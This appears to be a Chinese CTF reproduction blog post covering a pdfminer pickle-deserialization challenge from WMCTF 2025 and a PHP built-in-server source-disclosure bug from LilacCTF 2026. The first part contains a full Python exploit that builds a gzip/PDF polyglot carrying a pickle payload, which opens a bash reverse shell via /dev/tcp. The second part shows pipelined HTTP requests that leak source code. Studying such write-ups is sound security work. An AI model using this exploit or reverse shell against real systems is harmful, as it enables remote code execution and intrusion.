WMCTF 2025 pdf2text 复现学习
pdf2text
tags: python反序列化,pickle
给了附件和docker,审计源码,叫ai找可能利用的地方。
最后的想分析,问题应该在pdfminer组件上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| @app.route('/upload', methods=['POST']) def upload_file(): if 'file' not in request.files: return 'No file part', 400 file = request.files['file'] filename = file.filename if filename == '': return 'No selected file', 400 if '..' in filename or '/' in filename: return 'directory traversal is not allowed', 403
pdf_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) pdf_content = file.stream.read()
try: parser = PDFParser(io.BytesIO(pdf_content)) doc = PDFDocument(parser) except Exception as e: return str(e), 500 try: pdf_to_text(pdf_path, txt_path) except Exception as e: return str(e), 500 return send_file(txt_path, as_attachment=True)
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
|
其它代码没有看看出问题,结构简单,那考虑pdfminer组件的问题
上网查找关于pdfminer,能找到 CVE-2025-64512
注意到开赛时漏洞还没有披露
英文分析有点难看懂,尝试看了这篇 解析
看pickle反序列化,魔术方法 reduce 的return能调用函数或者类,还能加入参数。当pickle反序列化到__reduce__时能达到任意代码执行
复现题目时发现pdfminer的版本为默认最新版本,可能是因为比赛时漏洞还未披露,所以当时最新版本就是漏洞版本
配置环境时把pdfminer换成20250506版本
随即找到了cmapdb.py的关键代码
具体利用看这篇 wp
详细找洞过程看官方的wp:
先是注意到有一个_load_data方法用了危险方法pickle.load,随后用整个文件问ai是怎么调用到_load_data方法内部,发现是在pdf的/Encoding
↓
之后尝试控制/Encoding 进行目录穿越,发现可以穿越。能指向恶意代码,pickle.load会对穿越后的目录进行gzfile.read()后并反序列化
↓
最后解决如何绕过app.py的限制上传gzip文件,还有pdf构建的问题,并通过路径指向正确的gz文件上传路径
↓
成功反序列化执行任意代码
叫ai给出代码来生成gz和pdf:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| import zlib import struct import binascii
LHOST = "192.168.10.9" LPORT = "9999"
REMOTE_FILENAME = "evil" TARGET_ABS_PATH = f"/proc/self/cwd/uploads/{REMOTE_FILENAME}"
def build_pdf_in_gz(abs_base: int) -> bytes: """构造嵌入在 Gzip Header 里的 PDF 结构""" header = b"%PDF-1.7\n" def obj(n, body: bytes): return f"{n} 0 obj\n".encode() + body + b"\nendobj\n" objs = [] objs.append(obj(1, b"<< /Type /Catalog /Pages 2 0 R >>")) objs.append(obj(2, b"<< /Type /Pages /Count 1 /Kids [3 0 R] >>")) objs.append(obj(3, b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << /Font << /F1 4 0 R >> >> /Contents 5 0 R >>")) objs.append(obj(4, b"<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>")) objs.append(obj(5, b"<< /Length 5 >>\nstream\n(pwn)\nendstream"))
body = header offsets = [] cursor = abs_base + len(header) for o in objs: offsets.append(cursor) body += o cursor += len(o)
entries = [b"\x01" + struct.pack(">I", off) + b"\x00\x00" for off in offsets] xref_stream = zlib.compress(b"".join(entries)) xref_obj = ( b"6 0 obj\n<< /Type /XRef /Size 7 /Root 1 0 R /W [1 4 2] /Index [1 5] " b"/Filter /FlateDecode /Length " + str(len(xref_stream)).encode() + b" >>\nstream\n" + xref_stream + b"\nendstream\nendobj\n" ) trailer = b"startxref\n" + str(abs_base + len(body)).encode() + b"\n%%EOF\n" return body + xref_obj + trailer
if __name__ == "__main__": cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'" payload = b"cos\nsystem\n(V" + cmd.encode() + b"\ntR."
pdf_data = build_pdf_in_gz(12) gz_header = b"\x1f\x8b\x08\x04\x00\x00\x00\x00\x00\xff" gz_header += struct.pack("<H", len(pdf_data)) + pdf_data comp = zlib.compressobj(level=9, wbits=-15) deflated = comp.compress(payload) + comp.flush() gz_footer = struct.pack("<II", binascii.crc32(payload) & 0xffffffff, len(payload) & 0xffffffff) with open("evil.pickle.gz", "wb") as f: f.write(gz_header + deflated + gz_footer)
enc_path = "/" + TARGET_ABS_PATH.replace("/", "#2F") trigger = ( b"%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" b"2 0 obj\n<< /Type /Pages /Count 1 /Kids [3 0 R] >>\nendobj\n" b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>\nendobj\n" b"4 0 obj\n<< /Length 1 >>\nstream\nA\nendstream\nendobj\n" b"5 0 obj\n<< /Type /Font /Subtype /Type0 /BaseFont /Identity-H /Encoding " + enc_path.encode() + b" /DescendantFonts [6 0 R] >>\nendobj\n" b"6 0 obj\n<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Dummy /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> >>\nendobj\n" ) xref_off = len(trigger) trigger += b"xref\n0 7\n0000000000 65535 f \ntrailer\n<< /Size 7 /Root 1 0 R >>\nstartxref\n" + str(xref_off).encode() + b"\n%%EOF\n" with open("trigger.pdf", "wb") as f: f.write(trigger)
print("[+] 生成成功:evil.pickle.gz, trigger.pdf")
|
外部加载逻辑:当 PDF 文件中引用了一个不属于内置库的 Encoding(编码表)时,pdfminer 会尝试在本地文件系统中寻找对应的 .pickle.gz 文件来加载。
然后在 pdfminer/cmapdb.py 中,程序找到文件后,会直接执行以下操作:
1 2 3
| with gzip.open(path, 'rb') as f: data = f.read() return pickle.loads(data)
|
虽然 pdfminer 有一定的路径限制,但由于它会将 /Encoding 后的名字直接拼接到路径中,我们可以通过 ../ 或绝对路径绕过,强制它读取我们上传的恶意文件
Gzip Header 走私 (FEXTRA)
普通的 Gzip 文件以 1f 8b 开头。Gzip 协议允许在头部包含一个 FEXTRA(额外字段)。
脚本操作:我们把一整段 PDF 结构(Objects, XRef, Trailer)塞进了这个 Extra 字段里。
效果:Gzip 解压工具会跳过这段数据去读后面的 Pickle;而 PDF 解析器会忽略前面的 Gzip 标志,直接去搜寻末尾的 startxref。
PDF 解析的核心是 startxref。它告诉解析器:“从文件开头数第 X 个字节开始是我的索引表”。
脚本操作:abs_base=12 是因为 Gzip 头部(10字节)+ Extra 长度声明(2字节)正好是 12。
效果:这保证了 PDF 解析器能在这个“伪装成压缩包”的文件里精准定位到 PDF 对象,从而通过 pdfminer 的初步合法性检查。
/proc/self/cwd 是 Linux 的一个特性,指向当前进程的工作目录,这让路径寻找变得极其可靠。
LilacCTF 2026 web 复现
Keep
学习星盟的wp
扫描目录发现全是404,访问不存在的文件回显index.php,显然是php -S 起的服务
https://projectdiscovery.io/blog/php-http-server-source-disclosure
问了一下ai
漏洞成因简述:
请求管道触发状态混淆
攻击者发送两个连续的 HTTP 请求(如 GET /phpinfo.php 后紧跟 GET /),利用 PHP 开发服务器对 pipelined 请求的解析机制。
第一个请求设置 path_translated
第一个请求(如 /phpinfo.php)被正常解析。
函数 php_cli_server_request_translate_vpath() 将 request->path_translated 设置为实际文件路径(如 /var/www/phpinfo.php)。
第二个请求未重置关键字段
第二个请求(如 /)尝试访问根目录,若目录下无 index.php 或 index.html,则 php_cli_server_request_translate_vpath() 不会更新 path_translated,而是直接返回。
此时 request->path_translated 仍保留第一个请求的值(即 phpinfo.php 的路径)。
但 request->ext(文件扩展名)来自第二个请求(可能是空或非 .php)。
判断逻辑错误:当成静态文件返回
服务器检查 request->ext 发现不是 .php,于是将请求标记为 静态文件请求(is_static_file = 1)。
然而,它打开的文件却是 request->path_translated(即 phpinfo.php 的完整路径)!
结果:PHP 源码被当作纯文本返回
服务器没有执行 PHP 脚本,而是直接读取并返回其源代码内容,造成远程源码泄露。
可以拿到index.php 的源码,得到被注释掉的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| GET /index.php HTTP/1.1 Host: 192.168.1.11:8080
GET /1.txt HTTP/1.1
HTTP/1.1 200 OK Host: 192.168.1.11:8080 Date: Tue, 27 Jan 2026 17:21:06 GMT Connection: close Content-Type: text/plain; charset=UTF-8 Content-Length: 95
<?php @error_reporting(0);
echo "Hello World!" . PHP_EOL;
|
根据漏洞原理,能尝试使.bak文件解析成php文件

由此实现rce